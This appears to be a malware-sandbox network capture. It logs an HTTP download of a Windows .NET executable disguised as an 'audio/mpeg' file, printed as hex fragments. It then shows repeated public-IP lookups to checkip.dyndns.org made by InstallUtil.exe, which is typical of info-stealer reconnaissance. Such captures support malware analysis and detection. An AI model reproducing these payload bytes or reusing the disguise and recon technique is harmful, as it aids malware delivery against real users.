Sep 26, 2024 12:12:29.483838081 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:29 GMT Server: Apache/2.4.62 (Debian) Last-Modified: Wed, 25 Sep 2024 23:50:08 GMT ETag: "1c1400-622fa4827cc00" Accept-Ranges: bytes Content-Length: 1840128 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: audio/mpeg Data Raw: 34 44 35 41 39 30 30 30 30 33 30 30 30 30 30 30 30 34 30 30 30 30 30 30 46 46 46 46 30 30 30 30 42 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 38 30 30 30 30 30 30 30 30 45 31 46 42 41 30 45 30 30 42 34 30 39 43 44 32 31 42 38 30 31 34 43 43 44 32 31 35 34 36 38 36 39 37 33 32 30 37 30 37 32 36 46 36 37 37 32 36 31 36 44 32 30 36 33 36 31 36 45 36 45 36 46 37 34 32 30 36 32 36 35 32 30 37 32 37 35 36 45 32 30 36 39 36 45 32 30 34 34 34 46 35 33 32 30 36 44 36 46 36 34 36 35 32 45 30 44 30 44 30 41 32 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 35 30 34 35 30 30 30 30 34 43 30 31 30 33 30 30 34 43 44 31 30 31 41 36 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 45 30 30 30 30 45 32 31 30 42 30 31 33 30 30 30 30 30 30 32 30 45 30 30 30 30 30 36 30 30 30 30 30 30 30 30 30 30 30 30 30 45 [TRUNCATED] Data Ascii: 4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103004CD101A60000000000000000E0000E210B01300000020E0000060000000000000E210E000020000000400E000000400000200000000200000400000000000000040000000000000000800E0000020000000000000300408500001000001000000000100000100000000000000F0000000000000000000000C0200E004B00000000400E00340300000000000000000000000000000000000000600E000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E7465787400000014010E000020000000020E0000020000000000000000000000000000200000602E727372630000003403000000400E000004000000040E00000000000000000000000000400000C02E72656C6F6300000C00000000600E0
Sep 26, 2024 12:12:29.483859062 CEST	224	IN	Data Raw: 30 30 30 30 32 30 30 30 30 30 30 30 38 30 45 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 34 32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 46 Data Ascii: 00002000000080E000000000000000000000000004000004200000000000000000000000000000000F0200E000000000048000000020005002CC30100343B0200010000000000000060FE0300D21F0A0036200E008000000000000000000000000000000000000000000000000000000
Sep 26, 2024 12:12:29.483870029 CEST	1236	IN	Data Raw: 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 33 33 30 30 33 30 30 42 35 30 30 30 30 30 30 30 31 30 30 30 30 31 31 32 38 38 37 30 33 30 30 30 36 32 30 30 33 30 30 30 30 30 30 46 45 30 45 30 30 30 30 33 38 30 30 30 30 30 30 30 30 46 45 30 Data Ascii: 0000000000000000013300300B50000000100001128870300062003000000FE0E00003800000000FE0C00004505000000190000000500000061000000060000003D00000038140000002A287D0300062002000000FE0E000038CAFFFFFF280400000620010000007E960200047B6D0200043AB5FFFFFF262004
Sep 26, 2024 12:12:29.483882904 CEST	1236	IN	Data Raw: 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 32 30 30 30 30 30 30 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 32 30 30 30 30 30 30 32 41 30 30 30 Data Ascii: 00000120000142A000000120000142A000000120000002A000000120000142A000000120000002A0000000330080004000000000000000000002A011C000002003F0177B601640000000000007B0443BE04391700000113300300800000000100001128870300062002000000FE0E00003800000000FE0C0000
Sep 26, 2024 12:12:29.483944893 CEST	1236	IN	Data Raw: 34 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 37 32 41 30 30 30 30 30 30 31 32 30 30 30 30 30 30 32 Data Ascii: 42A000000120000142A000000120000142A000000120000142A000000120000172A000000120000002A00000013300300800000000100001128870300062001000000FE0E00003800000000FE0C000045030000002F000000050000002E000000382A0000007E9902000428B908000620000000007E96020004
Sep 26, 2024 12:12:29.483958006 CEST	1236	IN	Data Raw: 31 37 45 39 36 30 32 30 30 30 34 37 42 38 44 30 32 30 30 30 34 36 31 37 45 42 45 30 32 30 30 30 34 32 38 34 44 30 39 30 30 30 36 32 38 30 32 30 30 30 30 32 42 38 30 33 42 30 30 30 30 30 34 32 30 32 33 30 30 30 30 30 30 33 38 30 34 46 46 46 46 46 Data Ascii: 17E960200047B8D020004617EBE020004284D090006280200002B803B00000420230000003804FFFFFF20562A44662096CCF256582035F70789617E960200047B8D020004617EBE020004284D0900062041D70EC765202B063117617E960200047B40020004617EBE020004284D090006280300002B803D0000
Sep 26, 2024 12:12:29.483971119 CEST	1236	IN	Data Raw: 38 34 44 30 39 30 30 30 36 32 38 30 38 30 30 30 30 32 42 38 30 32 39 30 30 30 30 30 34 32 30 31 37 30 30 30 30 30 30 37 45 39 36 30 32 30 30 30 34 37 42 38 43 30 32 30 30 30 34 33 41 41 31 46 43 46 46 46 46 32 36 32 30 31 41 30 30 30 30 30 30 33 Data Ascii: 84D090006280800002B802900000420170000007E960200047B8C0200043AA1FCFFFF26201A0000003896FCFFFF20C5A86CDF209C0966D0617E960200047B91020004617EBE020004284D090006200E63BDDA2006000000632075F0B3F6617E960200047B3F020004617EBE020004284D090006280900002B80
Sep 26, 2024 12:12:29.483983040 CEST	1236	IN	Data Raw: 36 32 41 34 34 36 36 32 30 39 36 43 43 46 32 35 36 35 38 32 30 46 35 38 37 38 41 39 30 36 31 37 45 39 36 30 32 30 30 30 34 37 42 35 38 30 32 30 30 30 34 36 31 37 45 42 45 30 32 30 30 30 34 32 38 34 44 30 39 30 30 30 36 32 38 30 45 30 30 30 30 32 Data Ascii: 62A44662096CCF2565820F5878A90617E960200047B58020004617EBE020004284D090006280E00002B804700000420080000003821FAFFFF203471E50E20DB7752DA61207F4249B7617E960200047B69020004617EBE020004284D09000620750BF645204C0DE245617E960200047B5D020004617EBE020004
Sep 26, 2024 12:12:29.484054089 CEST	776	IN	Data Raw: 30 30 36 32 30 43 33 42 32 43 39 37 30 32 30 41 33 37 42 34 31 42 42 35 38 32 30 39 33 33 42 45 32 30 34 36 31 37 45 39 36 30 32 30 30 30 34 37 42 33 39 30 32 30 30 30 34 36 31 37 45 42 45 30 32 30 30 30 34 32 38 34 44 30 39 30 30 30 36 32 38 31 Data Ascii: 00620C3B2C97020A37B41BB5820933BE204617E960200047B39020004617EBE020004284D090006281500002B80390000042012000000FE0E000038ACF7FFFF20B53B93FF20843A5597617E960200047B80020004617EBE020004284D09000620DF0C625220DE0F657459203A8940F0617E960200047B580200
Sep 26, 2024 12:12:29.484066963 CEST	1236	IN	Data Raw: 32 30 30 30 34 36 31 37 45 42 45 30 32 30 30 30 34 32 38 34 44 30 39 30 30 30 36 32 30 42 34 33 32 42 43 34 36 32 30 41 33 33 46 30 32 37 38 36 31 37 45 39 36 30 32 30 30 30 34 37 42 34 33 30 32 30 30 30 34 36 31 37 45 42 45 30 32 30 30 30 34 32 Data Ascii: 20004617EBE020004284D09000620B432BC4620A33F0278617E960200047B43020004617EBE020004284D090006281900002B80330000042025000000FE0E00003822F6FFFF20C78FB70A20880C7C7561207E820D17617E960200047B80020004617EBE020004284D09000620541753262094A852EA58202897
Sep 26, 2024 12:12:29.488787889 CEST	1236	IN	Data Raw: 30 30 34 37 42 33 46 30 32 30 30 30 34 36 31 37 45 42 45 30 32 30 30 30 34 32 38 34 44 30 39 30 30 30 36 32 38 31 46 30 30 30 30 32 42 38 30 33 41 30 30 30 30 30 34 32 30 30 34 30 30 30 30 30 30 33 38 44 43 46 33 46 46 46 46 32 30 33 30 38 37 38 Data Ascii: 0047B3F020004617EBE020004284D090006281F00002B803A000004200400000038DCF3FFFF20308784D566202540796F617E960200047B8E020004617EBE020004284D09000620A17F84DC6620EB48BD01617E960200047B2E020004617EBE020004284D090006282000002B804800000420090000007E9602

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49756	193.122.130.0	80	3412	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 12:12:34.225068092 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 26, 2024 12:12:34.691225052 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:34 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 43d052b35f3fbc74de3c0505353e286a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 26, 2024 12:12:34.696472883 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 26, 2024 12:12:34.917401075 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:34 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 098a6ea9596e649f3a8223727b870a11 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 26, 2024 12:12:35.605993986 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 26, 2024 12:12:35.709687948 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:35 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 3b19431dd49505b6b0c8154e0a447ab1 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49759	193.122.130.0	80	3412	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 12:12:36.309256077 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 26, 2024 12:12:36.779025078 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:36 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 0987fb795d53333b0e80f58f440cde43 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49761	193.122.130.0	80	3412	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 12:12:37.746189117 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 26, 2024 12:12:38.233661890 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:38 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: e9f072fbc995ab3611c30a04e512b385 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49763	193.122.130.0	80	3412	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 12:12:38.852775097 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 26, 2024 12:12:39.308248043 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:39 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 7ff4e0c56a3cb40410377db9a9670364 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49765	193.122.130.0	80	3412	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 12:12:39.936449051 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 26, 2024 12:12:40.418670893 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:40 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 500aae78628fba594b2a75e2dafa940e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49767	193.122.130.0	80	3412	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 12:12:41.055041075 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 26, 2024 12:12:41.509872913 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:41 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: cb1003cffad44e145b93d53099f4eb5b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49769	193.122.130.0	80	3412	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 12:12:42.212160110 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 26, 2024 12:12:42.659188032 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:42 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 714982d97102eb6c206bae13c7f92f10 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49771	193.122.130.0	80	1260	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 12:12:42.777529955 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 26, 2024 12:12:43.237658978 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:43 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c9b9fe72951c87a188f01d01b53a7b07 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 26, 2024 12:12:43.241111040 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 26, 2024 12:12:43.340318918 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:43 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 7079256cc2fb64d1e9a73df54b627bb0 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 26, 2024 12:12:44.115130901 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 26, 2024 12:12:44.222734928 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:44 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 50e3c9cc6daba746e9e33914c3246b29 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49774	193.122.130.0	80	1260	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 12:12:44.894802094 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 26, 2024 12:12:45.382812977 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:45 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1fdee5c3b5dd3a6b246128950e92a0b5 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49776	193.122.130.0	80	1260	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 12:12:46.019653082 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 26, 2024 12:12:46.494271994 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:46 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 04f4449f13ac1646329f24d242c13d6f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49778	193.122.130.0	80	1260	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 12:12:47.094053984 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 26, 2024 12:12:47.548525095 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:47 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 18db511fcb1cdf3374d337c42bba8197 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49780	193.122.130.0	80	1260	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 12:12:48.200185061 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 26, 2024 12:12:48.687335968 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:48 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: e271026dd6ccdfa4f5b7ab9bf71d5714 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49782	193.122.130.0	80	1260	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
